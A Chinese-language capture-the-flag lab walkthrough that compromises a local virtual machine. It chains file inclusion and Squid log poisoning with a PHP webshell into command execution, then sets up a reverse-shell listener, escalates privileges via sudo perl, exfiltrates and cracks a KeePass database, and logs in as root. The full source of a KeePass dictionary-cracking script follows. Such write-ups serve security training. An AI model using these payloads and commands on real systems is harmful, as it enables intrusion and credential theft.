-
将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.142

-
扫描服务器开放了哪些端口,有什么服务
nmap -sV -T4 -p- -A 192.168.23.142

A. 3128/tcp - Squid http proxy 5.7 (高优先级)
这是本次扫描中最"诱人"的部分。Squid 是一个高性能的代理缓存服务器。
- 潜在风险 :SSRF(服务端请求伪造) 或 内网代理绕过。
- 渗透思路:
-
- 配置文件扫描:Squid 如果配置不当(默认 ACL 允许),你可以将其作为跳板,访问目标机原本不对外开放的本地端口(如 127.0.0.1 上的服务)。
- 版本漏洞:Squid 5.7 相对较新,但需注意是否存在堆溢出或缓冲区溢出漏洞。
- 测试方法 :在本地浏览器设置代理为
192.168.23.142:3128,尝试访问http://127.0.0.1或内网其他 IP。
B. 80/tcp - Apache httpd 2.4.62 (Web 入口)
- 指纹 :
vCare Free Bootstrap Theme这是一个医疗/护理类的 Bootstrap 模板。 - 渗透思路:
-
- 目录爆破 :使用
dirsearch或gobuster寻找后台管理页面、上传点或.git等敏感目录。 - 交互功能 :既然是医疗主题,关注是否有"预约"、"留言"或"联系我们"等可能存在 SQL 注入 、XSS 或 文件上传 的地方。
- CMS 识别:检查是否是基于 WordPress 或某个简易 CMS 修改的。
- 目录爆破 :使用
C. 22/tcp - OpenSSH 9.2p1 (Debian 12)
- 状态:非常稳健,通常不建议作为首选攻击路径。
- 渗透思路:
-
- 除非你在其他地方(比如 80 端口的 Web 源码里)找到了用户名和密码,否则不建议暴力破解。
- 信息收集:记录下版本号,这证实了系统是 Debian 12。
- 尝试访问 80 端口存在的 web 服务

查看页面源代码发现该网页存在文件包含功能

http://192.168.23.142/page.php?i=about.html

根据这个文件包含语句构造漏洞验证语句,看是否存在文件包含漏洞
http://192.168.23.142/page.php?i=/etc/passwd

-
尝试给服务器发送请求,然后文件包含日志文件查看内容是否包含了刚才发送的请求
curl -sI "http://192.168.23.142/" | grep "Server"

http://192.168.23.142/page.php?i=/var/log/squid/access.log

能够看到我的请求,那么可以发送一个包含一句话木马的请求,尝试污染日志文件构造命令执行漏洞
curl -sX GET --proxy "http://192.168.23.142:3128" "http://127.0.0.1:80" -A '<?php system($_GET["cmd"]); ?>'

验证漏洞是否构造完成
curl -sX GET "http://192.168.23.142/page.php?i=/var/log/squid/access.log&cmd=id" | tail -n 2

构造语句形成反弹 shell
预先使用 nc 开启对 4444 端口的监听
nc -lvvp 4444

成功 getshell
-
信息收集一下
id
uname -a
lsb_release -a
ls /home
ls /home/dorian

- 发现具有 sudo 权限,可以 dorian 权限执行 perl 命令

尝试提权为 dorian
sudo -u dorian perl -e 'exec "/bin/bash"'

-
python3 启动一个可交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

找到一个隐藏文件夹下面存在一个 data.txt,但本质上不是文本文件

file .bak/data.txt

找到了一个 KeePass 密码数据库文件 (KDBX) 。这通常是提权(Privilege Escalation)的关键,因为数据库里可能存储了 root 用户的密码、SSH 私钥或者其他内网服务的凭据。
-
从靶机上面下载到这个文件,借用 web 服务
python3 -m http.server 1234

然后 kali 下载这个文件
wget -q "http://192.168.23.142:1234/.bak/data.txt"

-
用keepass2john 无法破解.kdbx 文件
mv data.txt db.kdbx
keepass2john db.kdbx

更换工具进行破解
wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/KDBXcrack/refs/heads/main/KDBXcrack"
chmod +x KDBXcrack
gunzip /usr/share/wordlists/rockyou.txt.gz
./KDBXcrack -f db.kdbx -w /usr/share/wordlists/rockyou.txt

最后成功爆出来密码为diamond
- 使用keepassxc打开数据库(KDBX)
apt update
apt install keepassxc
keepassxc db.kdbx

得到 root用户密码r00tB0$$123!

-
ssh 上线 root 用户,拿到 flag
ssh root@192.168.23.142
cat root.txt

KDBXcrack 攻击脚本分析
https://raw.githubusercontent.com/d4t4s3c/KDBXcrack/refs/heads/main/KDBXcrack
#!/bin/bash
declare -A COLORS=(
[RED]="\e[91m"
[GREEN]="\e[92m"
[YELLOW]="\e[93m"
[GREY]="\e[90m"
[BLUE]="\e[94m"
[WHITE]="\e[97m"
[END]="\e[0m"
)
declare -A GLOBAL=(
[SEP]="─────────────────────────────────"
[BOX1]="[+]"
[BOX2]="[-]"
[BOX3]="[*]"
[BOX4]="[i]"
)
trap ctrl_c INT
function dependencies(){
which keepassxc-cli &>/dev/null
if [ "$(echo $?)" != "0" ]; then
apt install -y keepassx &>/dev/null
fi
}
function banner(){
echo
echo -e "${COLORS[GREEN]}╭╮╭━┳━━━┳━━╮╭━╮╭━╮ ╭╮ ${COLORS[END]}"
echo -e "${COLORS[GREEN]}┃┃┃╭┻╮╭╮┃╭╮┃╰╮╰╯╭╯ ┃┃ ${COLORS[END]}"
echo -e "${COLORS[GREEN]}┃╰╯╯ ┃┃┃┃╰╯╰╮╰╮╭╯ ╭━━┳━┳━━┳━━┫┃╭╮${COLORS[END]}"
echo -e "${COLORS[GREEN]}┃╭╮┃ ┃┃┃┃╭━╮┃╭╯╰╮ ┃╭━┫╭┫╭╮┃╭━┫╰╯╯${COLORS[END]}"
echo -e "${COLORS[GREEN]}┃┃┃╰┳╯╰╯┃╰━╯┣╯╭╮╰╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮${COLORS[END]}"
echo -e "${COLORS[GREEN]}╰╯╰━┻━━━┻━━━┻━╯╰━╯╰━━┻╯╰╯╰┻━━┻╯╰╯${COLORS[END]}"
echo -e "${GLOBAL[SEP]}"
echo -e " ${COLORS[WHITE]}code: ${COLORS[GREY]}d4t4s3c ${COLORS[WHITE]}version: ${COLORS[GREY]}v1.0.0${COLORS[END]}"
echo -e "${GLOBAL[SEP]}"
}
function help(){
echo -e "\n Usage: ${COLORS[GREEN]}KDBXcrack ${COLORS[RED]}[OPTIONS]${COLORS[END]}\n"
echo -e " Get the master password from a KeePass database file (KDBX v4.x).\n"
echo -e " Options:"
echo -e " ${COLORS[GREEN]}-f ${COLORS[RED]}<FILE>${COLORS[END]} Specify the path where the KeePass database file is located."
echo -e " ${COLORS[GREEN]}-w ${COLORS[RED]}<WORDLIST>${COLORS[END]} Specify the path where the wordlist is located."
echo -e " ${COLORS[GREEN]}-h ${COLORS[RED]}<HELP>${COLORS[END]} Display this help message and exit.\n"
echo -e " Examples:"
echo -e " ${COLORS[GREEN]}KDBXcrack -f database.kdbx -w rockyou.txt${COLORS[END]}"
echo -e " ${COLORS[GREEN]}KDBXcrack -h${COLORS[END]}\n"
echo -e "${GLOBAL[SEP]}\n"
}
function info(){
echo -e "${COLORS[YELLOW]}${GLOBAL[BOX4]} ${COLORS[WHITE]}Cracking | ${COLORS[YELLOW]}${FILE}${COLORS[END]}"
echo -e "${COLORS[YELLOW]}${GLOBAL[BOX4]} ${COLORS[WHITE]}Wordlist | ${COLORS[YELLOW]}${WORDLIST}${COLORS[END]}"
}
function ctrl_c(){
echo
tput cnorm
exit 1
}
while getopts ":f:w:" ARG; do
case ${ARG} in
f) FILE=${OPTARG}; let parameter_counter+=1 ;;
w) WORDLIST=${OPTARG}; let parameter_counter+=1 ;;
esac
done
if [[ -n "${FILE}" && -n "${WORDLIST}" ]]; then
dependencies
banner
info
else
banner
help
exit 0
fi
LINES=$(wc -l ${WORDLIST})
REGEX="([0-9]+).${WORDLIST}"
[[ ${LINES} =~ ${REGEX} ]]
SIZ="${BASH_REMATCH[1]}"
while IFS= read -r PASSWORD; do
LINE=$((LINE + 1))
PROGRESS=$((LINE * 100 / SIZ))
echo -ne "\e[?25l\r\033[K${COLORS[BLUE]}${GLOBAL[BOX3]} ${COLORS[WHITE]}Status | ${COLORS[BLUE]}${LINE}/${SIZ}/${PROGRESS}%/${PASSWORD}${COLORS[END]}"
/bin/echo ${PASSWORD} | keepassxc-cli open ${FILE} &> /dev/null
if [ $? -eq 0 ]; then
echo -e "\n${COLORS[GREEN]}${GLOBAL[BOX1]} ${COLORS[WHITE]}Password | ${COLORS[GREEN]}${PASSWORD}${COLORS[END]}"
echo -e "${GLOBAL[SEP]}\n"
sleep 2
tput cnorm
exit 0
fi
done < ${WORDLIST}
echo -e "\n${COLORS[RED]}${GLOBAL[BOX2]} ${COLORS[WHITE]}Fuck! | ${COLORS[RED]}Password not found${COLORS[END]}"
echo -e "${GLOBAL[SEP]}\n"
sleep 2
tput cnorm
exit 0
这个脚本是一个基于 Bash 编写的 KeePass 数据库在线爆破工具 。它的核心原理并非像 John the Ripper 或 Hashcat 那样通过哈希对比进行"离线"破解,而是利用 keepassxc-cli****命令行工具进行重复性的登录尝试。
1. 核心破解机制
脚本最关键的部分在于这个 while 循环:
while IFS= read -r PASSWORD; do
...
/bin/echo ${PASSWORD} | keepassxc-cli open ${FILE} &> /dev/null
if [ $? -eq 0 ]; then
# 破解成功
fi
done < ${WORDLIST}
- 输入流重定向 :脚本通过
while read逐行读取你指定的字典文件(如rockyou.txt)。 - 模拟交互 :
keepassxc-cli open命令原本需要用户手动输入密码。脚本使用/bin/echo ${PASSWORD} |通过管道将字典里的密码自动"喂"给程序。 - 状态码判定 ( $?****):
-
- 在 Linux 中,如果命令执行成功,返回值
$?为0。 - 如果
keepassxc-cli成功打开了数据库,说明密码正确,脚本输出结果并退出。 - 如果密码错误,程序返回非零值,脚本继续尝试下一个密码。
- 在 Linux 中,如果命令执行成功,返回值
2. 脚本功能模块解析
除了核心破解逻辑,脚本还做了大量的辅助工作:
A. 依赖检查 (dependencies)
function dependencies(){
which keepassxc-cli &>/dev/null
if [ "$(echo $?)" != "0" ]; then
apt install -y keepassx &>/dev/null
fi
}
- 它会检查系统是否安装了
keepassxc-cli。如果没有,它会尝试使用apt自动安装。这解释了为什么你之前运行类似的逻辑时会触发安装流程。
B. 进度计算与视觉优化
LINES=$(wc -l ${WORDLIST})
PROGRESS=$((LINE * 100 / SIZ))
echo -ne "\e[?25l\r\033[K...${PROGRESS}%/${PASSWORD}"
- 脚本先用
wc -l统计字典总行数。 - 在循环中实时计算
当前行 / 总行数的百分比。 - 使用转义字符
\r(回到行首)和\e[?25l(隐藏光标),实现动态刷新的进度条效果,让你看到实时尝试的密码。
C. 参数处理 (getopts)
- 使用
getopts处理-f(文件路径) 和-w(字典路径) 参数,增加了脚本的灵活性。
3. 与离线破解(John/Hashcat)的优劣对比
|----------|--------------------------------|---------------------------------|
| 特性 | 离线破解 (keepass2john + john) | 该脚本 (keepassxc-cli 在线爆破) |
| 速度 | 极快。每秒可尝试数万至数百万次(取决于硬件)。 | 极慢。受限于系统调用和程序启动时间,每秒仅能尝试几次。 |
| 依赖 | 需要提取哈希值。 | 无需提取哈希,只要有 keepassxc-cli 即可。 |
| 原理 | 数学对比哈希。 | 模拟真实用户打开数据库的行为。 |
| 适用场景 | 密码复杂、字典巨大的情况。 | 字典很小(几百个词)或无法提取哈希的情况。 |